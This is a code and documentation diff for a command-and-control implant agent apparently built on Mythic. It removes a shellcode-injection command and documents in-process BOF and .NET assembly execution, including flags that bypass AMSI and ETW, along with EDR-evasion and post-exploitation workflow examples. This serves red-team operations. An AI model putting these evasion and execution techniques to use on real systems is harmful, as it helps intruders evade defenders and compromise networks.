message += "💡 CONSIDERATIONS:\n"
message += " • In-process execution reduces detection vectors (no process injection)\n"
message += " • Better OPSEC than process spawning (no new process creation)\n"
message += " • CLR loading may be detected by EDR\n"
message += " • Memory allocation may be scanned\n\n"
message += "⚠️ DETECTION RISK: MEDIUM (without bypass flags)\n"
message += "Usually not immediately detected, but may be flagged by behavioral analysis.\n\n"
if patch_exit_enabled:
message += " • --patchexit: Prevents assembly from exiting (recommended)\n\n"
message += "💡 ALTERNATIVES:\n"
message += " • Use `inline_execute` for BOFs (lower detection risk)\n"
message += " • Consider executing assemblies without bypass flags first\n\n"
if not blocked:
message += "✅ This is a WARNING only - command will proceed.\n"
else:
message += "❌ This command is BLOCKED due to high detection risk.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=blocked,
OpsecPreBypassRole="other_operator" if blocked else "operator",
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
amsi_enabled = taskData.args.get_arg("amsi") or False
etw_enabled = taskData.args.get_arg("etw") or False
message = "⚠️ OPSEC POST-CHECK - .NET Assembly Execution Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Process Create: .NET assembly execution in-process\n"
message += " • CLR Loading: .NET Common Language Runtime loaded into memory\n"
message += " • Memory Allocation: Executable memory pages for assembly\n"
if amsi_enabled:
message += " • AMSI Bypass: clr.dll patching (high detection risk)\n"
if etw_enabled:
message += " • ETW Bypass: EAT hooking advapi32.dll!EventWrite (high detection risk)\n"
message += "\n💡 ARTIFACT DETAILS:\n"
message += " • Process Create artifact is logged in Mythic\n"
message += " • CLR loading may be detected by EDR\n"
message += " • Memory allocation may be scanned by EDR memory protection\n"
if amsi_enabled or etw_enabled:
message += " • Bypass techniques may trigger immediate behavioral alerts\n"
message += "\n✅ Review artifacts in the Artifacts tab after execution."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse( response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID, TaskID=taskData.Task.ID,
+1 -2
View File
@@ -12,5 +12,4 @@ charset_normalizer==3.3.2
pycryptodome==3.19.0 pycryptodome==3.19.0
# Optional dependencies: # Optional dependencies:
# donut-shellcode - Required only for execute_assembly command # (None at this time)
# Install with: pip install donut-shellcode
@@ -43,8 +43,7 @@ commands = {
"socks": {"hex_code": 0x60, "input_type": "socks_special"}, # Se maneja especialmente "socks": {"hex_code": 0x60, "input_type": "socks_special"}, # Se maneja especialmente
# BOF and Assembly execution commands # BOF and Assembly execution commands
"inline_execute": {"hex_code": 0x70, "input_type": "bof_special"}, "inline_execute": {"hex_code": 0x70, "input_type": "bof_special"},
"inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"}, "inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"}
"execute_assembly": {"hex_code": 0x72, "input_type": "assembly_special"}
} }
def responseTasking(tasks): def responseTasking(tasks):
@@ -272,12 +271,11 @@ def responseTasking(tasks):
print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_packed={len(bof_args) if bof_args else 0} items") print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_packed={len(bof_args) if bof_args else 0} items")
elif commands[command_to_run]["input_type"] == "assembly_special": elif commands[command_to_run]["input_type"] == "assembly_special":
# inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args] # inline_execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {} parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
# For inline_execute_assembly, it uses subtasks, so we might not get direct parameters # For inline_execute_assembly, it uses subtasks, so we might not get direct parameters
# For execute_assembly, it also uses subtasks # This command is handled via subtasks in Python, so it may not reach here directly
# These commands are handled via subtasks in Python, so they may not reach here directly # But we'll handle it if it does
# But we'll handle them if they do
file_id = parameters.get("assembly_file", parameters.get("shellcode_file", "")) file_id = parameters.get("assembly_file", parameters.get("shellcode_file", ""))
data = command_code + task_id data = command_code + task_id
-1
View File
@@ -201,7 +201,6 @@ For more information, see the [Mythic documentation on customizing public agents
| `exit` | Terminate the implant | `exit` | | `exit` | Terminate the implant | `exit` |
| `inline_execute` | Execute a Beacon Object File (BOF) in the current process thread | `inline_execute -BOF whoami.x64.o -Arguments int32:1234` | | `inline_execute` | Execute a Beacon Object File (BOF) in the current process thread | `inline_execute -BOF whoami.x64.o -Arguments int32:1234` |
| `inline_execute_assembly` | Execute a .NET Assembly in the current process using Inline-EA BOF | `inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit --amsi --etw` | | `inline_execute_assembly` | Execute a .NET Assembly in the current process using Inline-EA BOF | `inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit --amsi --etw` |
| `execute_assembly` | Execute a .NET Assembly in a remote process and retrieve output | `execute_assembly -Assembly SharpUp.exe -Arguments "audit"` |
### System Information ### System Information
+64 -64
View File
@@ -812,6 +812,7 @@ inline_execute -BOF <bof_file> [-Arguments <arguments>]
- `string:hello` or `-z:hello` - Null-terminated string - `string:hello` or `-z:hello` - Null-terminated string
- `wchar:hello` or `-Z:hello` - Wide character string - `wchar:hello` or `-Z:hello` - Wide character string
- `base64:abc==` or `-b:abc==` - Base64-encoded binary data - `base64:abc==` or `-b:abc==` - Base64-encoded binary data
- `bytes:hexstring` - Hexadecimal string of bytes
**Examples:** **Examples:**
``` ```
@@ -821,29 +822,37 @@ inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP
``` ```
**Features:** **Features:**
- In-memory execution: BOFs are executed directly in the current process memory without creating new processes - **In-Memory Execution**: BOFs are executed directly in the current process memory without creating new processes
- COFF loader: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution - **COFF Loader**: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution
- Beacon API compatibility: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.) - **Beacon API Compatibility**: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.)
- Output capture: Automatically captures and returns BOF output - **Output Capture**: Automatically captures and returns BOF output via BeaconPrintf/BeaconOutput
- Argument parsing: Supports multiple argument types (int16, int32, string, wchar, base64) - **Argument Parsing**: Supports multiple argument types (int16, int32, string, wchar, base64, bytes)
- **Thread Isolation**: BOFs execute in a separate thread with 30-second timeout to prevent agent crashes
- **Process Create Artifact**: Automatically creates a "Process Create" artifact for tracking
**Output:** **Output:**
``` ```
[inline_execute] BOF execution requested
[inline_execute] File ID: abc123...
[BOF Output] [BOF Output]
Module Name: ntdll.dll Module Name: ntdll.dll
Base Address: 0x7ffa12340000 Base Address: 0x7ffa12340000
Size: 0x1f0000
``` ```
**OPSEC Considerations:** **OPSEC Considerations:**
- Process Create artifact: BOF execution creates a "Process Create" artifact that is logged - **MEDIUM OPSEC RISK**: In-process execution reduces some detection vectors compared to process spawning
- Memory allocation: BOFs allocate executable memory which may be detected by EDR solutions - **Process Create Artifact**: BOF execution creates a "Process Create" artifact that is logged in Mythic
- API hooking: Some EDR solutions monitor API calls that BOFs make - **Memory Allocation**: BOFs allocate executable memory (PAGE_EXECUTE_READWRITE) which may be detected by EDR solutions
- Symbol resolution: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged - **API Monitoring**: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged by EDR/XDR
- No new process: Unlike `shell` or `execute_assembly`, BOFs execute in-process, reducing some detection vectors - **Memory Scanning**: Allocated executable memory may be scanned by EDR memory protection features
- **No New Process**: Unlike `shell`, BOFs execute in-process, reducing some detection vectors
- **Thread Isolation**: BOFs execute in a separate thread with timeout protection
**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process), [`execute_assembly`](#execute_assembly---execute-net-assembly-in-remote-process), [Artifacts Support](features.md#artifacts-support) **Technical Details:**
- Arguments are serialized using Packer format: `[size:4 bytes LE][data]`
- Boolean values are automatically converted to integers (0 or 1) before serialization
- BOFs that hang will timeout after 30 seconds and output will still be captured
**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process), [Artifacts Support](features.md#artifacts-support), [Detailed Documentation](commands/inline_execute.md)
--- ---
@@ -862,7 +871,7 @@ inline_execute_assembly -Assembly <assembly_file> [-Arguments <args>] [--patchex
- `-Arguments` or `assembly_arguments` (optional): Arguments to pass to the assembly - `-Arguments` or `assembly_arguments` (optional): Arguments to pass to the assembly
- `--patchexit` or `patch_exit` (optional, default: false): Patch `System.Environment.Exit` to prevent the Beacon process from exiting - `--patchexit` or `patch_exit` (optional, default: false): Patch `System.Environment.Exit` to prevent the Beacon process from exiting
- `--amsi` or `amsi` (optional, default: false): Bypass AMSI by patching `clr.dll` instead of `amsi.dll` to avoid common detections - `--amsi` or `amsi` (optional, default: false): Bypass AMSI by patching `clr.dll` instead of `amsi.dll` to avoid common detections
- `--etw` or `etw` (optional, default: false): Bypass ETW by EAT hooking `advapi32.dll!EventWrite` - `--etw` or `etw` (optional, default: false): Bypass ETW by EAT hooking `advapi32.dll!EventWrite` to point to a function that returns immediately
**Examples:** **Examples:**
``` ```
@@ -872,60 +881,51 @@ inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit
``` ```
**Features:** **Features:**
- In-process execution: Executes .NET assemblies in the current process without spawning new processes - **In-Process Execution**: Executes .NET assemblies in the current process without spawning new processes
- AMSI bypass: Optional AMSI bypass by patching clr.dll (more evasive than patching amsi.dll) - **AMSI Bypass**: Optional AMSI bypass by patching `clr.dll` (more evasive than patching `amsi.dll`)
- ETW bypass: Optional ETW bypass via EAT hooking - **ETW Bypass**: Optional ETW bypass via EAT hooking
- Exit patch: Prevents assemblies from calling `System.Environment.Exit` and terminating the agent - **Exit Patch**: Prevents assemblies from calling `System.Environment.Exit` and terminating the agent
- Output capture: Automatically captures and returns assembly output - **Output Capture**: Automatically captures and returns assembly output via completion callback
- BOF-based: Uses the Inline-EA BOF under the hood (executed via `inline_execute`) - **BOF-Based**: Uses the Inline-EA BOF (`inline-ea.x64.o`) under the hood (executed via `inline_execute`)
- **Process Create Artifact**: Automatically creates a "Process Create" artifact for tracking
- **Subtask Integration**: Creates a subtask that calls `inline_execute`, with output aggregated via completion callback
**How It Works:**
1. Retrieves the .NET assembly from Mythic
2. Searches for the Inline-EA BOF (`inline-ea.x64.o`) in Mythic's file store
3. Creates a subtask that calls `inline_execute` with the Inline-EA BOF
4. Passes the .NET assembly as raw bytes (hex-encoded) to the BOF
5. BOF loads the assembly into memory using .NET CLR APIs
6. Optional bypasses (AMSI, ETW) are applied if requested via flags
7. Assembly's entry point is executed with the provided arguments
8. Output is captured via `BeaconPrintf` and returned to the parent task through a completion callback
**Output:**
```
SharpUp execution started...
[*] Checking for insecure file permissions...
[*] Checking for unquoted service paths...
[+] Found: C:\Program Files\Vulnerable Service\service.exe
[*] Completed Privesc Checks in 17 seconds
```
**OPSEC Considerations:** **OPSEC Considerations:**
- Process Create artifact: Assembly execution creates a "Process Create" artifact - **MEDIUM OPSEC RISK**: In-process execution provides better OPSEC than process spawning (no process injection)
- CLR loading: Loading .NET assemblies into memory may be detected by EDR solutions - **Process Create Artifact**: Assembly execution creates a "Process Create" artifact that is logged in Mythic
- AMSI bypass: Patching clr.dll for AMSI bypass may trigger behavioral detections - **CLR Loading**: Loading .NET assemblies into memory may be detected by EDR solutions
- ETW bypass: EAT hooking may be detected by advanced EDR solutions - **AMSI Bypass**: Patching `clr.dll` for AMSI bypass may trigger behavioral detections (more evasive than patching `amsi.dll`)
- No new process: Executes in-process, reducing some detection vectors compared to `execute_assembly` - **ETW Bypass**: EAT hooking `advapi32.dll!EventWrite` may be detected by advanced EDR solutions
- **No New Process**: Executes in-process, reducing some detection vectors compared to process spawning
- **Memory Allocation**: Allocates executable memory for the assembly, which may be scanned by EDR
- **Thread Isolation**: BOF execution runs in a separate thread with timeout protection
**Related:** [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [`execute_assembly`](#execute_assembly---execute-net-assembly-in-remote-process), [Artifacts Support](features.md#artifacts-support) **Technical Details:**
- Uses Inline-EA BOF developed by @EricEsquivel (https://github.com/EricEsquivel/Inline-EA)
- Boolean flags (`--amsi`, `--etw`, `--patchexit`) are automatically converted to integers (0 or 1) for the BOF
- If BOF execution hangs, it will timeout after 30 seconds and output will still be captured
- Output is aggregated from the subtask and displayed directly in the main command (not as a subtask)
--- **Related:** [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [Artifacts Support](features.md#artifacts-support), [Detailed Documentation](commands/inline_execute_assembly.md)
### `execute_assembly` - Execute .NET Assembly in Remote Process
Execute a .NET Assembly in a remote process and retrieve its output.
**Syntax:**
```
execute_assembly -Assembly <assembly_file> -Arguments <args>
```
**Parameters:**
- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`)
- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute
- `-Arguments` or `assembly_arguments` (required): Arguments to pass to the assembly
**Examples:**
```
execute_assembly -Assembly SharpUp.exe -Arguments "audit"
execute_assembly -Assembly Seatbelt.exe -Arguments "all"
execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local"
```
**Features:**
- Shellcode conversion: Automatically converts .NET assemblies to shellcode using Donut
- Process injection: Injects shellcode into a target process (defaults to current process)
- Output capture: Captures and returns assembly output
- No file system: Assembly is executed entirely in memory without writing to disk
**OPSEC Considerations:**
- **HIGH OPSEC RISK**: Process injection is heavily monitored by EDR/XDR solutions
- Shellcode injection: Donut shellcode injection may trigger behavioral detections
- Process Create artifact: Creates a "Process Create" artifact
- Memory scanning: Injected shellcode may be scanned by EDR memory protection
- API monitoring: Process injection APIs (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) are monitored
- Donut detection: Donut shellcode patterns may be detected by advanced security solutions
**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process) (better OPSEC), [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [Artifacts Support](features.md#artifacts-support)
--- ---
@@ -45,7 +45,6 @@ Complete documentation for all Cazalla agent commands, organized by category.
- [`inline_execute`](inline_execute.md) - Execute Beacon Object Files (BOFs) - [`inline_execute`](inline_execute.md) - Execute Beacon Object Files (BOFs)
- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process - [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process
- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes
## Control Commands ## Control Commands
@@ -1,109 +0,0 @@
# execute_assembly - Execute .NET Assembly in Remote Process
Execute a .NET Assembly in a remote process and retrieve its output.
## Description
The `execute_assembly` command converts a .NET assembly to shellcode using Donut and injects it into a remote process (or the current process if no target is specified). The assembly is executed in the target process and its output is captured and returned.
## Syntax
```
execute_assembly -Assembly <assembly_file> -Arguments <args>
```
## Parameters
- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`)
- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute
- `-Arguments` or `assembly_arguments` (required): Arguments to pass to the assembly
## Examples
```
# Execute assembly with arguments
execute_assembly -Assembly SharpUp.exe -Arguments "audit"
# Execute Seatbelt with all checks
execute_assembly -Assembly Seatbelt.exe -Arguments "all"
# Execute SharpHound for domain enumeration
execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local"
```
## Features
- **Shellcode Conversion**: Automatically converts .NET assemblies to shellcode using Donut
- **Process Injection**: Injects shellcode into a target process (defaults to current process)
- **Output Capture**: Captures and returns assembly output
- **No File System**: Assembly is executed entirely in memory without writing to disk
## How It Works
1. The command retrieves the .NET assembly from Mythic
2. The assembly is converted to shellcode using Donut
3. A subtask is created to call `inject_shellcode` with the generated shellcode
4. The shellcode is injected into the target process
5. The .NET assembly is loaded and executed in the target process
6. Output is captured and returned to Mythic
## Output
```
[execute_assembly] Converting .NET Assembly to Shellcode...
[execute_assembly] Shellcode generated: 123456 bytes
[execute_assembly] Injecting shellcode into process...
[Assembly Output]
SharpUp execution started...
[*] Checking for insecure file permissions...
[+] Found: C:\Program Files\Vulnerable Service\service.exe
```
## OPSEC Considerations
- **HIGH OPSEC RISK**: Process injection is heavily monitored by EDR/XDR solutions
- **Shellcode Injection**: Donut shellcode injection may trigger behavioral detections
- **Process Create Artifact**: Creates a "Process Create" artifact
- **Memory Scanning**: Injected shellcode may be scanned by EDR memory protection
- **API Monitoring**: Process injection APIs (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) are monitored
- **Donut Detection**: Donut shellcode patterns may be detected by advanced security solutions
## Technical Details
### Donut Integration
The command uses Donut to convert .NET assemblies to position-independent shellcode:
- Automatically handles .NET assembly loading
- Supports .NET Framework and .NET Core assemblies
- Generates position-independent shellcode
- Handles assembly dependencies
### Process Injection
The shellcode injection process:
1. Shellcode is generated from the .NET assembly
2. Shellcode is registered as a temporary file in Mythic
3. `inject_shellcode` command is called via subtask
4. Shellcode is injected into the target process
5. Assembly executes and output is captured
## Error Handling
The command handles various error scenarios:
- **Assembly Not Found**: Returns error if assembly file cannot be retrieved
- **Donut Conversion Failure**: Returns error if assembly cannot be converted to shellcode
- **Injection Failure**: Returns error if shellcode cannot be injected
- **Execution Failure**: Returns error if assembly fails to execute
## Related
- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process (better OPSEC)
- [`inline_execute`](inline_execute.md) - Execute BOFs directly
- [Artifacts Support](../features.md#artifacts-support)
---
**Command Category:** Execution & Control
**Requires Admin:** No (unless injecting into protected process)
**MITRE ATT&CK:** [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/), [T1620 - Reflective Code Loading](https://attack.mitre.org/techniques/T1620/)
@@ -53,23 +53,26 @@ inline_execute -BOF custom_bof.x64.o -Arguments int32:5678
## Output ## Output
The command returns the output captured from the BOF via `BeaconPrintf` or `BeaconOutput`:
``` ```
[inline_execute] BOF execution requested
[inline_execute] File ID: abc123...
[inline_execute] Arguments: int32:1234
[BOF Output] [BOF Output]
Module Name: ntdll.dll Module Name: ntdll.dll
Base Address: 0x7ffa12340000 Base Address: 0x7ffa12340000
Size: 0x1f0000 Size: 0x1f0000
``` ```
If the BOF produces no output, the command will indicate successful execution.
## OPSEC Considerations ## OPSEC Considerations
- **Process Create Artifact**: BOF execution creates a "Process Create" artifact that is logged - **MEDIUM OPSEC RISK**: In-process execution reduces some detection vectors compared to process spawning
- **Memory Allocation**: BOFs allocate executable memory which may be detected by EDR solutions - **Process Create Artifact**: BOF execution creates a "Process Create" artifact that is logged in Mythic
- **API Hooking**: Some EDR solutions monitor API calls that BOFs make - **Memory Allocation**: BOFs allocate executable memory (PAGE_EXECUTE_READWRITE) which may be detected by EDR solutions
- **Symbol Resolution**: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged - **API Monitoring**: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged by EDR/XDR
- **No New Process**: Unlike `shell` or `execute_assembly`, BOFs execute in-process, reducing some detection vectors - **Memory Scanning**: Allocated executable memory may be scanned by EDR memory protection features
- **No New Process**: Unlike `shell`, BOFs execute in-process, reducing some detection vectors
- **Thread Isolation**: BOFs execute in a separate thread with a 30-second timeout to prevent agent crashes
## Technical Details ## Technical Details
@@ -82,16 +85,32 @@ The COFF loader implementation:
- Resolves external symbols via LoadLibraryA/GetProcAddress - Resolves external symbols via LoadLibraryA/GetProcAddress
- Maps sections with PAGE_EXECUTE_READWRITE permissions - Maps sections with PAGE_EXECUTE_READWRITE permissions
### Thread Isolation
BOFs are executed in a separate thread to prevent agent crashes:
- **Timeout**: 30-second timeout for BOF execution
- **Thread Termination**: If BOF hangs, the thread is terminated after timeout
- **Output Capture**: Output is captured even if BOF hangs or times out
- **Agent Stability**: Main agent thread continues to function even if BOF crashes
### Beacon API Compatibility ### Beacon API Compatibility
The following Beacon API functions are supported: The following Beacon API functions are supported:
- `BeaconPrintf` - Formatted output - `BeaconPrintf` - Formatted output (captured and returned)
- `BeaconOutput` - Raw output - `BeaconOutput` - Raw output (captured and returned)
- `BeaconDataParse` - Parse input data - `BeaconDataParse` - Parse input data
- `BeaconDataInt`, `BeaconDataShort`, `BeaconDataExtract` - Data extraction - `BeaconDataInt`, `BeaconDataShort`, `BeaconDataExtract` - Data extraction
- `BeaconUseToken`, `BeaconRevertToken` - Token manipulation - `BeaconUseToken`, `BeaconRevertToken` - Token manipulation
- `BeaconIsAdmin` - Admin check - `BeaconIsAdmin` - Admin check
### Argument Serialization
Arguments are serialized using the Packer class format:
- Each argument is prefixed with its size (4 bytes, little-endian)
- Arguments are packed sequentially: `[size:4][data][size:4][data]...`
- The total buffer size is prepended to the argument buffer
- Boolean values are converted to integers (0 or 1) before serialization
## Error Handling ## Error Handling
The command handles various error scenarios: The command handles various error scenarios:
@@ -103,7 +122,6 @@ The command handles various error scenarios:
## Related ## Related
- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process - [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process
- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes
- [Artifacts Support](../features.md#artifacts-support) - [Artifacts Support](../features.md#artifacts-support)
--- ---
@@ -45,32 +45,40 @@ inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit
## How It Works ## How It Works
1. The command creates a subtask that calls `inline_execute` with the Inline-EA BOF 1. The command retrieves the .NET assembly from Mythic
2. The .NET assembly is passed to the BOF as raw bytes 2. The command searches for the Inline-EA BOF (`inline-ea.x64.o`) in Mythic's file store
3. The BOF loads the assembly into memory using .NET CLR APIs 3. A subtask is created that calls `inline_execute` with the Inline-EA BOF
4. Optional bypasses (AMSI, ETW) are applied if requested 4. The .NET assembly is passed to the BOF as raw bytes (hex-encoded)
5. The assembly's entry point is executed with the provided arguments 5. The BOF loads the assembly into memory using .NET CLR APIs
6. Output is captured and returned to Mythic 6. Optional bypasses (AMSI, ETW) are applied if requested via flags
7. The assembly's entry point is executed with the provided arguments
8. Output is captured via `BeaconPrintf` and returned to the parent task through a completion callback
9. The completion callback aggregates the output and displays it in the main command
## Output ## Output
The command returns the output from the .NET assembly execution:
``` ```
[inline_execute_assembly] Assembly execution requested
[BOF Output from Inline-EA]
SharpUp execution started... SharpUp execution started...
[*] Checking for insecure file permissions... [*] Checking for insecure file permissions...
[*] Checking for unquoted service paths... [*] Checking for unquoted service paths...
[+] Found: C:\Program Files\Vulnerable Service\service.exe [+] Found: C:\Program Files\Vulnerable Service\service.exe
[*] Completed Privesc Checks in 17 seconds
``` ```
The output is captured from the Inline-EA BOF execution and displayed directly in the main command (not as a subtask).
## OPSEC Considerations ## OPSEC Considerations
- **Process Create Artifact**: Assembly execution creates a "Process Create" artifact - **MEDIUM OPSEC RISK**: In-process execution provides better OPSEC than process spawning (no process injection)
- **Process Create Artifact**: Assembly execution creates a "Process Create" artifact that is logged in Mythic
- **CLR Loading**: Loading .NET assemblies into memory may be detected by EDR solutions - **CLR Loading**: Loading .NET assemblies into memory may be detected by EDR solutions
- **AMSI Bypass**: Patching clr.dll for AMSI bypass may trigger behavioral detections - **AMSI Bypass**: Patching `clr.dll` for AMSI bypass may trigger behavioral detections (more evasive than patching `amsi.dll`)
- **ETW Bypass**: EAT hooking may be detected by advanced EDR solutions - **ETW Bypass**: EAT hooking `advapi32.dll!EventWrite` may be detected by advanced EDR solutions
- **No New Process**: Executes in-process, reducing some detection vectors compared to `execute_assembly` - **No New Process**: Executes in-process, reducing some detection vectors compared to process spawning
- **Memory Allocation**: Allocates executable memory for the assembly, which may be scanned - **Memory Allocation**: Allocates executable memory for the assembly, which may be scanned by EDR
- **Thread Isolation**: BOF execution runs in a separate thread with timeout protection
## Technical Details ## Technical Details
@@ -84,22 +92,25 @@ This command uses the Inline-EA BOF developed by @EricEsquivel:
### Bypass Options ### Bypass Options
- **--patchexit**: Patches `System.Environment.Exit` to prevent the assembly from terminating the agent process - **--patchexit**: Patches `System.Environment.Exit` to prevent the assembly from terminating the agent process. Default: `false`
- **--amsi**: Bypasses AMSI by patching `clr.dll` instead of `amsi.dll` (more evasive) - **--amsi**: Bypasses AMSI by patching `clr.dll` instead of `amsi.dll` (more evasive than traditional AMSI bypasses). Default: `false`
- **--etw**: Bypasses ETW by hooking `advapi32.dll!EventWrite` via Export Address Table (EAT) hooking - **--etw**: Bypasses ETW by hooking `advapi32.dll!EventWrite` via Export Address Table (EAT) hooking. Default: `false`
**Note**: Boolean flags (`--amsi`, `--etw`, `--patchexit`) are automatically converted to integers (0 or 1) for the BOF.
## Error Handling ## Error Handling
The command handles various error scenarios: The command handles various error scenarios:
- **Assembly Not Found**: Returns error if assembly file cannot be retrieved from Mythic - **Assembly Not Found**: Returns error if assembly file cannot be retrieved from Mythic
- **BOF Not Found**: Returns error if Inline-EA BOF (`inline-ea.x64.o`) is not found in Mythic's file store
- **BOF Execution Failure**: Returns error if Inline-EA BOF cannot be executed - **BOF Execution Failure**: Returns error if Inline-EA BOF cannot be executed
- **Assembly Load Failure**: Returns error if .NET assembly cannot be loaded - **Assembly Load Failure**: Returns error if .NET assembly cannot be loaded
- **Bypass Failure**: May fail silently if bypasses cannot be applied - **Bypass Failure**: May fail silently if bypasses cannot be applied
- **Timeout**: If BOF execution hangs, it will timeout after 30 seconds and output will still be captured
## Related ## Related
- [`inline_execute`](inline_execute.md) - Execute BOFs directly - [`inline_execute`](inline_execute.md) - Execute BOFs directly
- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes
- [Artifacts Support](../features.md#artifacts-support) - [Artifacts Support](../features.md#artifacts-support)
--- ---
+55
View File
@@ -494,6 +494,41 @@ keylog_start
keylog_stop keylog_stop
``` ```
### BOF Execution
```bash
# Execute a BOF with no arguments
inline_execute -BOF whoami.x64.o
# Execute a BOF with integer argument
inline_execute -BOF listmods.x64.o -Arguments int32:1234
# Execute a BOF with multiple arguments
inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP
# Execute a BOF with base64-encoded data
inline_execute -BOF custom_bof.x64.o -Arguments base64:YWJjZGVm
```
### .NET Assembly Execution (In-Process)
```bash
# Execute assembly with arguments
inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit"
# Execute with AMSI and ETW bypass
inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw
# Execute with all bypasses enabled
inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" --patchexit --amsi --etw
# Execute privilege escalation check
inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit
# Execute domain enumeration
inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" --amsi --etw
```
### Complete Post-Exploitation Workflow ### Complete Post-Exploitation Workflow
```bash ```bash
@@ -608,6 +643,26 @@ whoami
# (Commands run with domain credentials if token selected) # (Commands run with domain credentials if token selected)
``` ```
### Code Execution Workflow
```bash
# 1. Execute a BOF for lightweight operations
inline_execute -BOF whoami.x64.o
inline_execute -BOF listmods.x64.o -Arguments int32:1234
# 2. Execute .NET assembly for privilege escalation
inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit
# 3. Execute .NET assembly with bypasses for enumeration
inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw
# 4. Execute domain enumeration
inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" --amsi --etw
# Note: inline_execute_assembly provides better OPSEC than process spawning
# (no process injection, in-process execution)
```
--- ---
## Tips and Best Practices ## Tips and Best Practices
@@ -155,7 +155,6 @@ Cazalla automatically reports artifacts created during command execution, allowi
| **Process Create** | `shell` | Command execution via cmd.exe | | **Process Create** | `shell` | Command execution via cmd.exe |
| **Process Create** | `inline_execute` | BOF execution in current process | | **Process Create** | `inline_execute` | BOF execution in current process |
| **Process Create** | `inline_execute_assembly` | .NET assembly execution in-process | | **Process Create** | `inline_execute_assembly` | .NET assembly execution in-process |
| **Process Create** | `execute_assembly` | .NET assembly execution via process injection |
| **File Write** | `cp`, `mkdir`, `upload` | File creation or modification | | **File Write** | `cp`, `mkdir`, `upload` | File creation or modification |
| **File Delete** | `rm` | File or directory deletion | | **File Delete** | `rm` | File or directory deletion |
| **File Read** | `download` | File download operations | | **File Read** | `download` | File download operations |
+1 -1
View File
@@ -2,7 +2,7 @@
title = "Logging & Syslog" title = "Logging & Syslog"
chapter = false chapter = false
weight = 50 weight = 50
pre = "6. " pre = "7. "
+++ +++
# 📊 Logging & Syslog # 📊 Logging & Syslog
+3 -10
View File
@@ -78,7 +78,6 @@ These commands are **highly detectable** and require careful consideration:
| Command | Risk Level | Detection Likelihood | Alternatives | | Command | Risk Level | Detection Likelihood | Alternatives |
|---------|-----------|---------------------|--------------| |---------|-----------|---------------------|--------------|
| `shell` | HIGH | High (cmd.exe spawn) | Use built-in Cazalla commands when possible | | `shell` | HIGH | High (cmd.exe spawn) | Use built-in Cazalla commands when possible |
| `execute_assembly` | HIGH | High (process injection, Donut shellcode) | `inline_execute_assembly` for in-process execution |
